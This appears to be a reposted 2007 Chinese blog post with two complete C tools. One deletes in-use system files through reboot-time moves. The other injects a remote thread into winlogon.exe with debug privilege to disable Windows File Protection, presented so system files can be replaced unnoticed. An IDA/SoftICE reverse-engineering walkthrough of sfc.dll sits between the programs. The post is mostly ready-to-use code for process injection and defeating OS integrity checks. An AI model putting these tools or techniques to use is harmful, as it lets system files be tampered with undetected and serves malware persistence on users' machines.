您的位置:首页 > 其它

删除正在使用的文件

2007-10-08 20:10 295 查看

#include <Windows.h>


#include <stdio.h>


BOOL ZapDelFile(char *szFileToDel)




...{


char cTempFileName[0x80];


char cTempPathName[0x100];


char cFileName[0x100];






if(szFileToDel[1] == ':')...{


sprintf(cTempPathName, "%c:/", szFileToDel[0]);


}




else...{


GetModuleFileName(NULL, cFileName, 0x100);


sprintf(cTempPathName, "%c:/", cFileName[0]);


}






if(GetTempFileName(cTempPathName, "_@", 0, cTempFileName) == 0)...{


return FALSE;


}






if(MoveFileEx(szFileToDel, cTempFileName, 1) == 0)...{


return FALSE;


}






if(MoveFileEx(cTempFileName, NULL, 4) == 0)...{


return FALSE;


}




return TRUE;


}






void usage(char *n) ...{


printf("usage: %s fileNeedToDeln", n);


exit(0);


}




int main(int argc, char* argv[])




...{




printf("Zap programed by bgate. :) *nn");




if (argc != 2)


usage(argv[0]);






if(ZapDelFile(argv[1]) == TRUE)...{


printf("OK");


}




else...{


printf("error %d", GetLastError());


}


return 0;


}

现在你已经可以用它去删除正在使用的系统文件了, 不过删除之后会弹出让你插入Windows CD对话框.
注意: 删系统文件前做好备份, 在重启前恢复, 另外删系统文件前还需要把dllcache中相应的备份删除. 否则系统会自动恢复.

接下来就想办法去掉这个对话框, 拿出我的法宝--google. 胡乱地搜了一气. 搜到两条有用信息.
1.Windows 2000下执行系统文件保护的代码在sfc.dll中, Xp系统下在sfc_os.dll中.
2.注册表中把一个叫SfcDisable的键设为FFFFFF9D能在下次启动时让文件保护功能失效.

下面的分析是在Win2K sp4+上进行的. 其中分析的sfc.dll版本是5.0.2195.6673

用ida打开sfc.dll在string中找sfcdisable, 没找到! 让string显示Unicode. 这下看到了. 找到对SfcDisable引用的一个地方.代码如下
.text:769269F9 call _SfcQueryRegDwordWithAlternate@16 ; SfcQueryRegDwordWithAlternate(x,x,x,x)
.text:769269FE push ebx
.text:769269FF push offset ??_C@_1BG@HOGG@?$AAS?$AAf?$AAc?$AAD?; "SfcDisable"
.text:76926A04 push edi
.text:76926A05 push esi
.text:76926A06 mov _SFCDebug, eax
.text:76926A0B call _SfcQueryRegDwordWithAlternate@16 ; SfcQueryRegDwordWithAlternate(x,x,x,x)
.text:76926A10 push ebx
.text:76926A11 push offset ??_C@_1BA@HLJH@?$AAS?$AAf?$AAc?$AAS?$AAc?$AAa?$AAn?$AA?$AA@ ; "SfcScan"
.text:76926A16 push edi
.text:76926A17 push esi
.text:76926A18 mov _SFCDisable, eax
.text:76926A1D call _SfcQueryRegDwordWithAlternate@16 ; SfcQueryRegDwordWithAlternate(x,x,x,x)
.text:76926A22 push ebx
.text:76926A23 push offset ??_C@_1BC@KFAJ@?$AAS?$AAf?$AAc?$AAQ?$AAu?$AAo?$AAt?$AAa?$AA?$AA@ ; "SfcQuota"
.text:76926A28 push edi
.text:76926A29 push esi
.text:76926A2A mov _SFCScan, eax

其中_SfcQueryRegDwordWithAlternate@16是读注册表的函数. 很明显, 它把注册表中SfcDisable的值读到了_SFCDisable中. 好, 调出softice. 在_SFCDisable上设断点. 我们又用刚写的zap去删系统文件, softice弹出来了. 断到了下面这个地方, eip为7692A326, _SFCDisable为2.
.text:7692A319 push ecx
.text:7692A31A and [esp+4+var_4], 0
.text:7692A31F cmp _SFCDisable, 3
.text:7692A326 push ebx
.text:7692A327 push ebp
.text:7692A328 push esi
.text:7692A329 push edi
.text:7692A32A jnz short loc_7692A333
.text:7692A32C xor eax, eax
.text:7692A32E jmp loc_7692A459
F5退出, 一会儿对话框弹了出来, 就对这儿引用了一次. 很好, 看看上面这段代码"cmp _SFCDisable, 3". 此时_SFCDisable为2弹出了对话框, 那么我就把它改为3又用zap删系统文件试试. 哈, 运气很好, 这次没出现让插CD的对话框了. 也就是说只要我们把_SFCDisable改为3就能偷偷地替换系统文件了. 不过不同版本这个地址是不一样的, 用switch来做这个活总是不好. 得写个有通用性的代码.

开始我想它的工作原理大概是Winlogon发现了有对系统文件进行操作. 便调用sfc.dll中的输出函数进行检查. 我们就只需得到这个输出函数入口然后把这个函数"注释"掉就可以了.跟着上面这段代码逆流而上, 找到最后由76924544输出, 又在76924544上加个断点, 继续去删文件. softice跳出来了, 不过不在函数的入口, 反倒在刚才设置的对_SFCDisable的读取上, 没运行函数的入口就运行了函数体中的代码, 看来遇到高人了. 非得逼我出必杀技, 打开2000源代码 : ). 找了半天没找到相应代码又只得退回来看汇编, 最后发现了这个函数NtWaitForMultipleObjects. 呵, 难怪没中断在函数的入口上, 原来早运行了函数的入口然后在函数体里一直没退出. 注释函数的方法不行了.

这时我想它的工作原理大概是winlogon调用sfc.dll中的输出函数在系统启动时创建了一系列事件. 既然winlogon创建了, 那么它也应该得撤销. 用depends打开winlogon. 果然从sfc.dll中输入了两个函数. 一个是刚才分析的那个, 创建了一系列事件. 看看另一个, 输出地址是76926869, 不出所料, 关闭了一系列事件. 现在我们只要向winlogon中注入代码调用"另一个"函数就能取消文件保护功能了. 不过winlogon不能随便注入代码. 26A杂志第六期上有篇文章提到了注入方法:"adjust debugger access rightz to our process". 那也是一篇SFCDisable的文章, 他用的方法是在内存中搜索特征码, 然后修改. 通用性应该没这么好.

下面的注入方法是从crazylord的代码中拷过来的, 不过方法不是. :), 写完后就懒得检查了, 加之水平有限, 写的不过优雅的地方就将就着看.

-----------------cut antisfc.c-----------


#include <stdlib.h>


#include "Windows.h"


#include "Tlhelp32.h"


#pragma comment( lib, "Advapi32.lib" )




typedef void (_stdcall * CLOSEEVENTS)(void);


typedef unsigned long DWORD;


typedef DWORD ANTISFC_ACCESS;






/**//*


* ANTISFC structures


*/






typedef struct _ANTISFC_PROCESS ...{


DWORD Pid; // process pid


HANDLE ProcessHandle; // process handle


char ImageName[MAX_PATH]; // image name (not full path)


} ANTISFC_PROCESS, *PANTISFC_PROCESS;




__inline void ErrorMessageBox(char *szAdditionInfo)




...{


printf("error on %s, error code %d. n", szAdditionInfo, GetLastError());


}






void usage(char *n) ...{


printf("usage: %s [/d]n", n);


printf("t/d: disable sfc file protecte fuction.n");


exit(0);


}






DWORD Init() ...{


DWORD Ret = 0;


HANDLE hToken;


LUID sedebugnameValue;


TOKEN_PRIVILEGES tkp;






if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) ...{


ErrorMessageBox("OpenProcessToken");




} else ...{






if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue)) ...{


ErrorMessageBox("LookupPrivilegeValue");




} else ...{




tkp.PrivilegeCount = 1;


tkp.Privileges[0].Luid = sedebugnameValue;


tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;






if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof tkp, NULL, NULL)) ...{


ErrorMessageBox("AdjustTokenPrivileges");




} else ...{


Ret = 1;


}


}


CloseHandle(hToken);


}




return(Ret);


}






DWORD GetPidEx(char *proc_name, char *full_path) ...{


DWORD dwPid=0;


HANDLE hSnapshot;


PROCESSENTRY32 pe;


BOOL Ret;




if (isdigit(proc_name[0]))


dwPid = strtoul(proc_name, NULL, 0);


else


dwPid = -1;




hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);




if (hSnapshot == (HANDLE) -1)...{


ErrorMessageBox("CreateToolhelp32Snapshot");


return(0);


}




pe.dwSize = sizeof(PROCESSENTRY32);


Ret = Process32First(hSnapshot, &pe);






while (Ret) ...{


if((strncmp(strlwr(pe.szExeFile), strlwr(proc_name), strlen(proc_name)) == 0)






(pe.th32ProcessID == dwPid)) ...{


dwPid = pe.th32ProcessID;


strcpy(full_path, pe.szExeFile);


break;


}


pe.dwSize = sizeof(PROCESSENTRY32);


Ret = Process32Next(hSnapshot, &pe);


}




CloseHandle(hSnapshot);


if (dwPid == -1)


dwPid = 0;


return(dwPid);


}






DWORD InitProcess(PANTISFC_PROCESS Process, char *proc_name, ANTISFC_ACCESS access) ...{


DWORD Ret=0;




Process->Pid = GetPidEx(proc_name, Process->ImageName);




if (Process->Pid != 0 && Process->ImageName[0] != 0) ...{


Process->ProcessHandle = OpenProcess(access, FALSE, Process->Pid);


if (Process->ProcessHandle == NULL)


ErrorMessageBox("OpenProcess");


else


Ret = 1;


}




return(Ret);


}




DWORD InjectThread(PANTISFC_PROCESS Process,




PVOID function) ...{


HANDLE hThread;


DWORD dwThreadPid = 0, dwState;




hThread = CreateRemoteThread(Process->ProcessHandle,


NULL,


0,


(DWORD (__stdcall *) (void *)) function,


NULL,


0,


&dwThreadPid);




if (hThread == NULL) ...{


ErrorMessageBox("CreateRemoteThread");


goto cleanup;


}




dwState = WaitForSingleObject(hThread, 4000); // attends 4 secondes






switch (dwState) ...{


case WAIT_TIMEOUT:


case WAIT_FAILED:


ErrorMessageBox("WaitForSingleObject");


goto cleanup;




case WAIT_OBJECT_0:


break;




default:


ErrorMessageBox("WaitForSingleObject");


goto cleanup;


}




CloseHandle(hThread);


return dwThreadPid;




cleanup:


CloseHandle(hThread);




return 0;


}




int main(int argc, char* argv[])




...{


ANTISFC_PROCESS Process;


HMODULE hSfc;


DWORD dwThread;


CLOSEEVENTS pfnCloseEvents;


DWORD dwVersion;




printf("AntiSfc programed by bgate. :) *nn");




if (argc != 2)


usage(argv[0]);






if (strcmp(argv[1], "/d") != 0) ...{


usage(argv[0]);


}






if (Init()) ...{


printf("debug privilege setn");




} else ...{


printf("error on get debug privilegen");


return(0);


}






if(InitProcess(&Process, "winlogon.exe", PROCESS_ALL_ACCESS) == 0) ...{


printf("error on get process info. n");


return(0);


}




dwVersion = GetVersion();




if ((DWORD)(LOBYTE(LOWORD(dwVersion))) == 5)...{ // Windows 2000/XP




if((DWORD)(HIBYTE(LOWORD(dwVersion))) == 0)...{ //Windows 2000


hSfc = LoadLibrary("sfc.dll");


printf("Win2000n");


}




else ...{//if((DWORD)(HIBYTE(LOWORD(dwVersion))) = 1) //Windows XP


hSfc = LoadLibrary("sfc_os.dll");


printf("Windows XPn");


}


}


//else if () //2003?




else ...{


printf("unsupported versionn");


}




pfnCloseEvents = (CLOSEEVENTS)GetProcAddress(hSfc,


MAKEINTRESOURCE(2));




if(pfnCloseEvents == NULL)...{


printf("Load the sfc fuction failedn");


FreeLibrary(hSfc);


return(0);


}




FreeLibrary(hSfc);




dwThread = InjectThread(&Process,


pfnCloseEvents);






if(dwThread == 0)...{


printf("failedn");


}




else...{


printf("OKn");


}




CloseHandle(Process.ProcessHandle);


return(0);




}

------------------end cut---------
在运行zap替换系统文件前运行一下antisfc就行了, 你也可以把它们写到一起. 理论上他能在2000, xp, 2003?的任何版本上使用. 不过我只在Win2K sp4+, WinXP sp1+上测试过.
本文的缺点是替换的系统文件只能在重启后生效, 写完了.
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: